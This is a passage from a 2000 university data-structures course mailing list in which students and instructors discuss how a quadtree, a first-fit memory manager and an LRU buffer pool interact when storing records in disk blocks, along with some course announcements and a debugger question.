buffer > with the first half of the record would go the front of the buffer pool, and > the buffer containing the second half right of the message would go right > after it, forcing a shift of all the buffers, and necessitating that a > buffer be read in off the disk. Also necessitating a writing of a buffer to > disk. It depends on which part of the system you are discussing. From the point of view of the memory manager, this is irrelevent, and the memory manager doesn't even know this is happening. From the point of view of the buffer pool, you first are accessing the block that will store the first half of the message. That block is either in the buffer pool (and becomes the most recently used) or else is not, and (in which case it is read, displacing the least recently used block already in memory, which might cause a disk write). The bytes are copied to fill the end of this buffer. Then, another disk block (the next one, the one that takes the 2nd half of the message) is accessed, which is done using the identical process as for the first. That is, check if this block is currently in the buffer pool, and read from disk to the least recnetly used buffer if necessary. > What about when a buffer needs to be written to disk that contains half a > record, what happens? Are both affected buffers written to disk? No. The buffer pool manager doesn't care about that sort of thing. It just writes the contents of the least recently used buffer to disk when that action is appropriate. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Wed, 12 Apr 2000 15:46:18 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: dp Subject: question In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed I need to know the sequence of events (1) It seems that I add x,y, and city to the buffer pool as before in previous assignments but use first fit rather than last recently used (2) When the program ends I write everything from the buffer pool to the quad disk (3) the memory manager is used for the disk only and handles the physical locations of the disk nodes the city names will also be stored on disk but the memory manager will find space for them. The location in the leaf node points to another location in the disk that stores the city name (4) please verify all the above if correct. pr-tree -------> ask memory manager for node location memory manager asks buffer pool for data at a location buffer pool sends info to memory manager memory manager sends data to quad tree Thank you very much ========================================================================= Date: Sun, 11 Apr 0100 16:05:52 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brian Wagner Subject: Re: question In-Reply-To: <4.2.2.20000412154445.00bdf100@90.0.0.1> from "dp" at Apr 12, 0 03:46:18 pm Content-Type: text This email proves: Dr. Shaffer, we really need a block diagram of how the classes interact. Your class received this from you (on the black board) during class. Dr. Roach, who I have for the class, has discussed NOTHING concerning this project. So we're being penalized for not having you as a teacher. Help, help, help!! We need pictures / diagrams! > > I need to know the sequence of events > (1) It seems that I add x,y, and city to the buffer pool as before in previous > assignments but use first fit rather than last recently used > > (2) When the program ends I write everything from the buffer pool to the > quad disk > > (3) the memory manager is used for the disk only and handles the physical > locations of the disk nodes the city names will also be stored on disk but the > memory manager will find space for them. The location in the leaf node > points to > another location in the disk that stores the city name > > (4) please verify all the above if correct. > pr-tree -------> ask memory manager for node location > memory manager asks buffer pool for data at a location > buffer pool sends info to memory manager > memory manager sends data to quad tree > > Thank you very much > -- // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi // The VT Heavy "Metal Club" page: http://www.bigfoot.com/~vtmetal "He took ... it out." --Elaine (on _Seinfeld_) ------------------------------------------------------------------------- ========================================================================= Date: Wed, 12 Apr 2000 16:02:35 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: John Subject: record size MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Do we still need to send the memory manager the length on the insert function? It seems like this can be found from within the function. Thanks, John ========================================================================= Date: Wed, 12 Apr 2000 16:21:45 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: James Moniz Subject: Re: Disk block & record size In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello, > > > The buffer pool manager accesses the disk in blocks. It > > > takes "messages" and converts them to disk blocks. > > > > So, if for example you are working with blocks of 20 > bytes and you have > > sent to the buffer manager a message of 13 bytes. Does the > buffer manager > > write the 13 bytes + 7 null spaces, the full 20 bytes? > > What do you mean by "write"? The buffer manager will make sure that the > 13-byte message gets put in the right place in its buffers, and > ultimately the disk file. As necessary, the buffer manager reads blocks > from and writes blocks to disk. This process is irrelevant to the memory > manager. By "write" I mean write-to-disk-file. I am skipping the whole buffer thing for the moment for simplicity, since what I want to know is how does the data get stored in the file. Could I get the answers to these questions, please... 1) The user enters, on the command line, the size of the blocks known by the buffer manager. No one else cares, true? Say the block size is 20. The memory manager wants to store information in a node. Including the prepended size of the data, say its 13 bytes long. It tells the buffer manager "Store these 13 bytes for me." The buffer manager, working in blocks, takes the 13 bytes, stores it in a 20 byte buffer block, and when it comes time to write it to disk, it writes 20 bytes, because that is that it works with, 20 byte blocks. 2) Is this true? The memory manager then has data of 7 bytes that it wants stored, so it tells the buffer manager, "Hey, store these 7 bytes for me." The buffer manager stores the 7 bytes in a 20 byte buffer and when the time comes, writes it to the disk file in a 20 byte block starting at position 14 in the file, just after the first data stored, because that is where it was told to store it by the memory manager, who knows nothing about this 20 byte stuff, so just wants it stored next, just after the previous record. 3) Is this true? The memory manager now wants to remove that first record, so it tells it own FreeList "I am deleting the record at position 1, so mark it as free space, please, of 13 bytes." 4) Is this how it is supposed to happen? Now the memory manager wants to store a 10 byte record and, according to its FreeList, there is a space open at position 1, so it tells the buffer manager, "Hey, store this 10 byte record at position 1 for me." The buffer manager takes the record, puts it in one of the 20 byte buffers, and, when it comes time, it writes the data to the disk file in a 20 byte block, thus _stomping_ over the beginning of the second record, which had been stored at position 14. 5) Am getting this straight? If not, then I still don't understand how the size of buffer blocks relates in this project. Thanks James Moniz jmoniz@vt.edu ========================================================================= Date: Wed, 12 Apr 2000 17:01:50 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Disk block & record size In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 12 Apr 2000, James Moniz wrote: > 1) The user enters, on the command line, the size of the blocks known by > the buffer manager. No one else cares, true? True. But, the buffer pool manager needs to know it. So, this information will need to be passed to the constructor of the buffer pool manager. Note that the memory manager class constructor probably has a parameter that defines its associated buffer pool manager, and the quadtree class constructor probably has a parameter that defines its associated memory manager. > Say the block size is 20. The memory manager wants to store > information in > a node. Including the prepended size of the data, say its 13 bytes long. It > tells the buffer manager "Store these 13 bytes for me." Yes -- but note the complete information is: "Copy from this memory that I am giving you a pointer to, to the memory pool starting at byte location 0, 13 bytes of information." > The buffer manager, working in blocks, takes the 13 bytes, > stores it in a > 20 byte buffer block, and when it comes time to write it to disk, it writes > 20 bytes, because that is that it works with, 20 byte blocks. Yes. > 2) Is this true? > > The memory manager then has data of 7 bytes that it wants stored, so it > tells the buffer manager, "Hey, store these 7 bytes for me." Again, the memory manager tells the buffer pool "store these 7 bytes for me *at the place I tell you to store it*". It just so happens that the memory manager, under your scenario, decides to put those 7 bytes at positions 13 to 19. > The buffer > manager stores the 7 bytes in a 20 byte buffer and when the time comes, > writes it to the disk file in a 20 byte block starting at position 14 Actually, position 13, because the first position is called 0. > in the > file, just after the first data stored, because that is where it was told to > store it by the memory manager, who knows nothing about this 20 byte stuff, > so just wants it stored next, just after the previous record. Right. But I want to stress that the memory manager explicitly decided where the bytes go. It didn't tell the buffer pool "put them where ever you, the buffer pool, think is 'next'". > 3) Is this true? > > The memory manager now wants to remove that first record, so it > tells it > own FreeList "I am deleting the record at position 1, so mark it as free > space, please, of 13 bytes." Yes. Note that when freeing the 13 bytes, it is possible that a merge with other free blocks takes place (as in Project 1). But, not in your example. > 4) Is this how it is supposed to happen? > > Now the memory manager wants to store a 10 byte record and, according to > its FreeList, there is a space open at position 1, Well, position 0, but you have the right idea. > so it tells the buffer > manager, "Hey, store this 10 byte record at position 1 for me." OK. > The buffer > manager takes the record, puts it in one of the 20 byte buffers, and, when > it comes time, it writes the data to the disk file in a 20 byte block, thus > _stomping_ over the beginning of the second record, which had been stored at > position 14. No. This is where you are having a problem. The memory manager tells the buffer pool to write 10 bytes starting at position 0. The buffer pool aquires the information contained in block 0 (positions 0 to 19) -- either from a buffer already in memory, if it happens to still be in memory, or else from disk if it got flushed at some point. Note that bytes 13 to 19 contain the 2nd message. The 10 bytes are copied to byte positions 0 to 9. At some time in the future, when the buffer pool manager is good and ready, this information will actually get written to disk. Under your scenario, there will be a message in byte positions 0 to 9, free space (junk) in byte postions 10 to 12, and another message in byte positions 13 to 19. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Wed, 12 Apr 2000 17:21:16 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: James Moniz Subject: Re: Disk block & record size In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit WHAAA! HA! HA! I GET IT! > No. This is where you are having a problem. The memory manager tells the > buffer pool to write 10 bytes starting at position 0. The buffer pool > acquires the information contained in block 0 (positions 0 to 19) -- either > from a buffer already in memory, if it happens to still be in memory, or > else from disk if it got flushed at some point. Note that bytes 13 to 19 > contain the 2nd message. The 10 bytes are copied to byte positions 0 to 9. > At some time in the future, when the buffer pool manager is good and > ready, this information will actually get written to disk. Under your > scenario, there will be a message in byte positions 0 to 9, free space > (junk) in byte positions 10 to 12, and another message in byte positions 13 > to 19. So you are passing to the buffer manager the size of the data, right? If the blocks are 20 bytes long and the memory manager wants the record stored at position 7, does it read into a buffer from the file a block from position 7 - 26 (27?), or does the buffer manager only read in data in multiples of the block size, as in Project 3? If it wants the record starting at position 15, it needs to read the block from 10 to 29? And how does the buffer manager know how much data to read in? Does it read the length itself from the record out of the file? Does the memory manager somehow know it and pass it to the buffer manager? Or must the memory manager request the record length from the buffer manager and then pass back to the buffer manager the fact that it wants the record and it is "this" long? Thanks James Moniz jmoniz@vt.edu ========================================================================= Date: Wed, 12 Apr 2000 17:52:55 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Richard Bowman Subject: Re: Disk block & record size MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Cliff Shaffer wrote: > > The buffer > > manager stores the 7 bytes in a 20 byte buffer and when the time comes, > > writes it to the disk file in a 20 byte block starting at position 14 > > Actually, position 13, because the first position is called 0. > Alright, let me get this straight. This does not make any sense. Isn't the buffer manager a representation of the disk blocks? If so, making a new block 20 long does not make any sense when you know the data is actually going in the last 7 spaces of the preexisting block. You are going to make overlapping 20 byte blocks???? Shouldn't the buffer say, I've already got the block represented by position 13, lets add this data to the block already in memory?? Richard ========================================================================= Date: Wed, 12 Apr 2000 20:45:06 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Robert Schultheis Subject: Handle indexing MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Ok, I understand all the memory manager stuff, but I am encountering another problem. The memory manager must store the location on the disk for every node in the tree. if the coordinates go from 0 - 2^14, this is 536,870,912 nodes if the tree is completely full. Are we to have an array this long in our memory manager for storing disk locations? If not, how does the PR-Tree know which handle to pass the memory manger when getting a child? It must some how calculate the handle as it traverse the tree? Is this right? thanxs for any help, Rob ========================================================================= Date: Wed, 12 Apr 2000 20:22:42 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brandon McKelvey Subject: quick question MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit When inserting a city name. First you put length of city (4-byte integer) then the name. You send that to the memory manager it gives you a handle then you create a leaf node 13 byte leaf node and insert that. Since now you have the 4 byte handle. Is that correct? Just want to make sure that is correct before i finish the program that way. brandon ========================================================================= Date: Thu, 13 Apr 2000 08:12:47 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ben Keller Subject: Re: Handle indexing MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The handles are stored as part of a node. The quadtree itself should store the root of the tree, either as the handle for the root, or as the actual node itself. The only way that there could be other nodes in the tree is if the root node is an internal node. In that case, the handles of the children will be stored in the node (as described in the spec). So, the answer is that you don't have to store the handles in an array. Instead, as you get a node from the disk, you will also be getting the handles of its children. Robert Schultheis wrote: > > Ok, I understand all the memory manager stuff, but I am encountering > another problem. > > The memory manager must store the location on the disk for every node in > the tree. if the coordinates go from 0 - 2^14, this is 536,870,912 nodes > if the tree is completely full. Are we to have an array this long in our > memory manager for storing disk locations? > > If not, how does the PR-Tree know which handle to pass the memory manger > when getting a child? It must some how calculate the handle as it traverse > the tree? Is this right? > > thanxs for any help, > Rob -- Ben Keller email: keller@cs.vt.edu Visiting Assistant Professor phone: 540-231-9367 Computer Science Dept (0106) web: www.cs.vt.edu/~keller Virginia Tech Blacksburg, VA 24061 USA ========================================================================= Date: Thu, 13 Apr 2000 08:14:21 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ben Keller Subject: Re: quick question MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Yes, you should have the address of the city name to put into the leaf node record before you write the leaf to disk. Brandon McKelvey wrote: > > When inserting a city name. First you put length of city (4-byte integer) > then the name. You send that to the memory manager it gives you a handle > then you create a leaf node 13 byte leaf node and insert that. Since now > you have the 4 byte handle. Is that correct? Just want to make sure that is > correct before i finish the program that way. > > brandon -- Ben Keller email: keller@cs.vt.edu Visiting Assistant Professor phone: 540-231-9367 Computer Science Dept (0106) web: www.cs.vt.edu/~keller Virginia Tech Blacksburg, VA 24061 USA ========================================================================= Date: Thu, 13 Apr 2000 08:47:09 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ali Asghar Zafer Subject: Spreadsheet In-Reply-To: <38F5BA1D.A1B5F15D@cs.vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The grade sheet for 1371 CS2604 is updated to reflect hw2 and Midterm 2 grades. Please make sure your entry is correct. Thanks Ali Asghar Zafer ========================================================================= Date: Thu, 13 Apr 2000 10:49:16 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Disk block & record size In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 12 Apr 2000, James Moniz wrote: > So you are passing to the buffer manager the size of the data, right? Yes, when you ask the buffer pool manager to store something, you have to tell it how much to store. > If the blocks are 20 bytes long and the memory manager wants the record > stored at position 7, does it read into a buffer from the file a block from > position 7 - 26 (27?), No. > or does the buffer manager only read in data in > multiples of the block size, as in Project 3? Correct. > If it wants the record > starting at position 15, it needs to read the block from 10 to 29? In the example, the blocks (and buffer) are 20 bytes long. So if we want a record starting at byte position 15, we read in the 0'th block (bytes 0 to 19), and pull out what we need beginning at 15. If this happens to run over the block boundary (say we want more than 5 bytes), then the next block must also be gotten. > And how does the buffer manager know how much data to read in? > Does it read > the length itself from the record out of the file? The memory manager prepends 4 bytes onto every message, to store the length of the message. To the procedure to get a message already stored would be to request 4 bytes from the buffer pool, starting at the position of the handle, interpret these 4 bytes as an integer, than then request the buffer pool to supply the rest. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Thu, 13 Apr 2000 10:51:38 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Disk block & record size In-Reply-To: <38F4F037.C53083AC@vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 12 Apr 2000, Richard Bowman wrote: > Cliff Shaffer wrote: > > > > The buffer > > > manager stores the 7 bytes in a 20 byte buffer and when the time comes, > > > writes it to the disk file in a 20 byte block starting at position 14 > > > > Actually, position 13, because the first position is called 0. > > > > Alright, let me get this straight. This does not make any sense. Isn't the buffer > manager a representation of the disk blocks? If so, making a new block 20 long does > not make any sense when you know the data is actually going in the last 7 spaces of > the preexisting block. You are going to make overlapping 20 byte blocks???? Shouldn't > the buffer say, I've already got the block represented by position 13, lets add this > data to the block already in memory?? Oops, I was looking at the 14, and correcting that, without paying enough attention to the rest of the sentence it was in. You are correct. The buffer pool only reads/writes disk blocks. So the start postion for any block is always a byte position that is a multiple of the block size. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Thu, 13 Apr 2000 10:53:51 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Handle indexing In-Reply-To: <3.0.5.32.20000412204506.0090a100@mail.vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 12 Apr 2000, Robert Schultheis wrote: > Ok, I understand all the memory manager stuff, but I am encountering > another problem. > > The memory manager must store the location on the disk for every node in > the tree. if the coordinates go from 0 - 2^14, this is 536,870,912 nodes > if the tree is completely full. Are we to have an array this long in our > memory manager for storing disk locations? There is no array in the memory manager. It merely accepts request to get stuff at a given handle, or to store stuff (in which case it returns the handle for the new message stored. > > If not, how does the PR-Tree know which handle to pass the memory manger > when getting a child? It must some how calculate the handle as it traverse > the tree? Is this right? The same way the PR quadtree knew which address in memory was the start of the child in Project 2 -- the internal nodes store handles (used to be pointers) to their children. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Thu, 13 Apr 2000 11:03:23 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: question In-Reply-To: <4.2.2.20000412154445.00bdf100@90.0.0.1> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 12 Apr 2000, dp wrote: > I need to know the sequence of events > (1) It seems that I add x,y, and city to the buffer pool as before in > previous > assignments but use first fit rather than last recently used The quadtree asks the memory manager to store a message. The memory manager uses (circular) first fit to find space for the message. The memory manager then passes the message on to the buffer pool, along with telling the buffer pool manager the physical location in which to store the message. The buffer pool manager uses an LRU algorithm to decide which buffer to reclaim if necessary. > (2) When the program ends I write everything from the buffer pool to the > quad disk Yes. > (3) the memory manager is used for the disk only and handles the physical > locations of the disk nodes the city names will also be stored on disk but the > memory manager will find space for them. The location in the leaf node > points to > another location in the disk that stores the city name Yes. > (4) please verify all the above if correct. > pr-tree -------> ask memory manager for node location > memory manager asks buffer pool for data at a location > buffer pool sends info to memory manager > memory manager sends data to quad tree Quadtree asks memory manager to store a message. Memory manager determines physicall location, and asks buffer pool to do the job of actually storing it. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Thu, 13 Apr 2000 18:13:00 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ali Asghar Zafer Subject: Office hrs on friday In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I might not be available tommorrow(friday 4/14) between 3:00pm to 7:00pm due to an important matter. If you need to see me urgently then do email me and we can arrange to meet accordingly. Sorry for the inconvenience. Thanks Ali Asghar Zafer ========================================================================= Date: Fri, 14 Apr 2000 09:59:25 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ali Asghar Zafer Subject: Re: Office hrs on friday In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I had earlier posted a message about my unavailibility during 3:00pm to 7:00pm today(friday).(My office hrs on friday) However, now i will be available during this time and you are welcome to see me. Thanks ========================================================================= Date: Fri, 14 Apr 2000 14:01:31 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: James Moniz Subject: Add record length to data MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hello, I'm sorry if this has already been answered on the listserv, but I can't find it. Do we store the length of an internal or leaf node at 4-bytes before its data, making the data written to file for an internal node 17 + 4 or 21, or do we just use the fact that we know that an internal node is of a certain size and a leaf node is of a certain size and it is only the city name data that has the prepended 4-byte size data? Thanks James Moniz jmoniz@vt.edu ========================================================================= Date: Fri, 14 Apr 2000 15:08:28 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Add record length to data In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 14 Apr 2000, James Moniz wrote: > I'm sorry if this has already been answered on the listserv, but I can't > find it. > > Do we store the length of an internal or leaf node at 4-bytes before its > data, making the data written to file for an internal node 17 + 4 or 21, or > do we just use the fact that we know that an internal node is of a certain > size and a leaf node is of a certain size and it is only the city name data > that has the prepended 4-byte size data? ALL messages stored in the memory manager's memory pool must have the length of the message prepended onto the message. If you didn't do it that way, the alternative would be to have the client give a handle to the memory manager along with a length value. In other words, the client would be (1) responsible for knowing message lengths and consequently (2) trusted to know those message lengths. Probably not wise to be that trusting... -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Fri, 14 Apr 2000 21:59:50 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: James Moniz Subject: Memory Manager knows block size MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hello, I had asked earlier if the Buffer Manager is the only one who knows about or cares about block sizes, to which I was told true, tho', as expected, the size passes through the different classes to get to the deeply embedded Buffer Manager class. I see from an earlier post, however, that the Memory Manager increases the size of the memory pool by lengths of blocks. So it must be aware of the size of blocks, also. I would just like to hear out loud that this is, in fact, true, or am I just looking at something wrong? Thanks. James Moniz jmoniz@vt.edu ========================================================================= Date: Fri, 14 Apr 2000 23:39:06 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: Memory Manager knows block size In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII The memory manager does not need to know the block size. Just add a member function of your buffer pool class like "int expand(int x)" which will increase the file by at least x bytes. That way, the memory manager says "Hmm. The free block at the end of memory is 10 bytes, but I need 15. BufferPool.expand(5)." The buffer pool has blocks of 20 bytes, so the value returned is 20. The memory manager increases the size of the last free block by 20, allocates the memory, and now there's a free block at the end of memory which is 15 bytes long. On Fri, 14 Apr 2000, James Moniz wrote: > Hello, > > I had asked earlier if the Buffer Manager is the only one who knows about > or cares about block sizes, to which I was told true, tho', as expected, the > size passes through the different classes to get to the deeply embedded > Buffer Manager class. > > I see from an earlier post, however, that the Memory Manager increases the > size of the memory pool by lengths of blocks. So it must be aware of the > size of blocks, also. > > I would just like to hear out loud that this is, in fact, true, or am I > just looking at something wrong? > > Thanks. > > James Moniz > jmoniz@vt.edu > ========================================================================= Date: Fri, 14 Apr 2000 23:56:03 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Scott Walker Subject: Re: Memory Manager knows block size In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Doesn't seem like too bad a way to handle this, but calling an 'expand' method on the bufferpool seems a bit odd. It's not the actual bufferpool that's expanding, but the size of the 'memory pool' which is a construct of the memory manager. I guess this could go either way, it will be interesting to get an official wording on this one. -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of John Anthony Kazos Jr. Sent: Friday, April 14, 2000 8:39 PM To: CS2604@LISTSERV.VT.EDU Subject: Re: Memory Manager knows block size The memory manager does not need to know the block size. Just add a member function of your buffer pool class like "int expand(int x)" which will increase the file by at least x bytes. That way, the memory manager says "Hmm. The free block at the end of memory is 10 bytes, but I need 15. BufferPool.expand(5)." The buffer pool has blocks of 20 bytes, so the value returned is 20. The memory manager increases the size of the last free block by 20, allocates the memory, and now there's a free block at the end of memory which is 15 bytes long. On Fri, 14 Apr 2000, James Moniz wrote: > Hello, > > I had asked earlier if the Buffer Manager is the only one who knows about > or cares about block sizes, to which I was told true, tho', as expected, the > size passes through the different classes to get to the deeply embedded > Buffer Manager class. > > I see from an earlier post, however, that the Memory Manager increases the > size of the memory pool by lengths of blocks. So it must be aware of the > size of blocks, also. > > I would just like to hear out loud that this is, in fact, true, or am I > just looking at something wrong? > > Thanks. > > James Moniz > jmoniz@vt.edu > ========================================================================= Date: Sat, 15 Apr 2000 04:37:01 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: Memory Manager knows block size In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII But my memory manager doesn't call the bufferpool directly. It's a little more work, but I tried to do the program so it made more sense; I have a small and shallow class that represents a file, which the memory manager calls. This is what contains the expand() function, and it expands the file by the requisite number of blocks and tells the bufferpool the new number of blocks. Thus, it is an in-between for the memory manager and the buffer pool; both the buffer pool and the memory manager think of the file as a large array, but the memory manager communicates with the file in terms of bytes and the buffer pool communicates with it in terms of blocks. Only the file class knows the distinction, and only the file class cares. And though it would seem more obvious to have the file be the final level of abstraction (on the bottom, as it were), because it is the final detail (data is read by the buffer pool and written to the file), it makes more sense this way, I believe. The flow of data is therefore not linear, but in the shape of a pendulum; it goes from the client to the tree to the memory manager in a line, but goes from the memory manager to the file to the bufferpool to the file in a figure eight. Interesting, eh? I am not a nerd. I am not a geek. I am a nereek! ;-) On Fri, 14 Apr 2000, Scott Walker wrote: > Doesn't seem like too bad a way to handle this, but calling an 'expand' > method on the bufferpool seems a bit odd. It's not the actual bufferpool > that's expanding, but the size of the 'memory pool' which is a construct > of the memory manager. I guess this could go either way, it will be > interesting > to get an official wording on this one. > > -----Original Message----- > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of > John Anthony Kazos Jr. > Sent: Friday, April 14, 2000 8:39 PM > To: CS2604@LISTSERV.VT.EDU > Subject: Re: Memory Manager knows block size > > > The memory manager does not need to know the block size. Just add a member > function > of your buffer pool class like "int expand(int x)" which will increase the > file by > at least x bytes. That way, the memory manager says "Hmm. The free block at > the end > of memory is 10 bytes, but I need 15. BufferPool.expand(5)." The buffer pool > has > blocks of 20 bytes, so the value returned is 20. The memory manager > increases the > size of the last free block by 20, allocates the memory, and now there's a > free > block at the end of memory which is 15 bytes long. > > On Fri, 14 Apr 2000, James Moniz wrote: > > > Hello, > > > > I had asked earlier if the Buffer Manager is the only one who > knows about > > or cares about block sizes, to which I was told true, tho', as expected, > the > > size passes through the different classes to get to the deeply embedded > > Buffer Manager class. > > > > I see from an earlier post, however, that the Memory Manager > increases the > > size of the memory pool by lengths of blocks. So it must be aware of the > > size of blocks, also. > > > > I would just like to hear out loud that this is, in fact, true, or > am I > > just looking at something wrong? > > > > Thanks. > > > > James Moniz > > jmoniz@vt.edu > > > ========================================================================= Date: Sat, 15 Apr 2000 20:33:06 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Chris Mattar Subject: Getting Off MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Please get me off the mailing list. Thank you cmattar@vt.edu ========================================================================= Date: Sun, 16 Apr 2000 19:45:42 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "(8-b)--|=<" Subject: vc debugger MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit i have a wierd problem with my bebugger. when i run it, the watch windows and the variables window are missing. i tried the view variables / view watch options on the menu and the toolbar to no avail. i also tried a reinstall. has anyone had this problem? thanks- duffy ps- versions: VC++ 6.0 windows 2000 beta 3 ========================================================================= Date: Sun, 16 Apr 2000 20:52:56 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: vc debugger In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII My only two suggestions are 1) purchase newest 2000 if you have $65 to burn and 2) try right-clicking everywhere (especially at the top of panes that *are* visible) for a check-box list or some such. I know it does that in the main VC6++ window; I'm just too lazy to boot into Windows to see if it does that in the debugger, too. On Sun, 16 Apr 2000, (8-b)--|=< wrote: > i have a wierd problem with my bebugger. when i run it, the watch windows > and the variables window are missing. i tried the view variables / view > watch options on the menu and the toolbar to no avail. i also tried a > reinstall. has anyone had this problem? > thanks- duffy > ps- versions: > VC++ 6.0 > windows 2000 beta 3 > ========================================================================= Date: Sun, 16 Apr 2000 21:37:44 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Chris Kelly Subject: Re: vc debugger In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit for those who aren't too lazy..... enter debug mode, and then just right click on the background of the main window (where each source file sits). when you right click, it *should* bring up a menu. near the top of that will be an option for variables, and an option for watch. hope this helps Chris -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of (8-b)--|=< Sent: Sunday, April 16, 2000 7:46 PM To: CS2604@LISTSERV.VT.EDU Subject: vc debugger i have a wierd problem with my bebugger. when i run it, the watch windows and the variables window are missing. i tried the view variables / view watch options on the menu and the toolbar to no avail. i also tried a reinstall. has anyone had this problem? thanks- duffy ps- versions: VC++ 6.0 windows 2000 beta 3 ========================================================================= Date: Mon, 17 Apr 2000 11:28:35 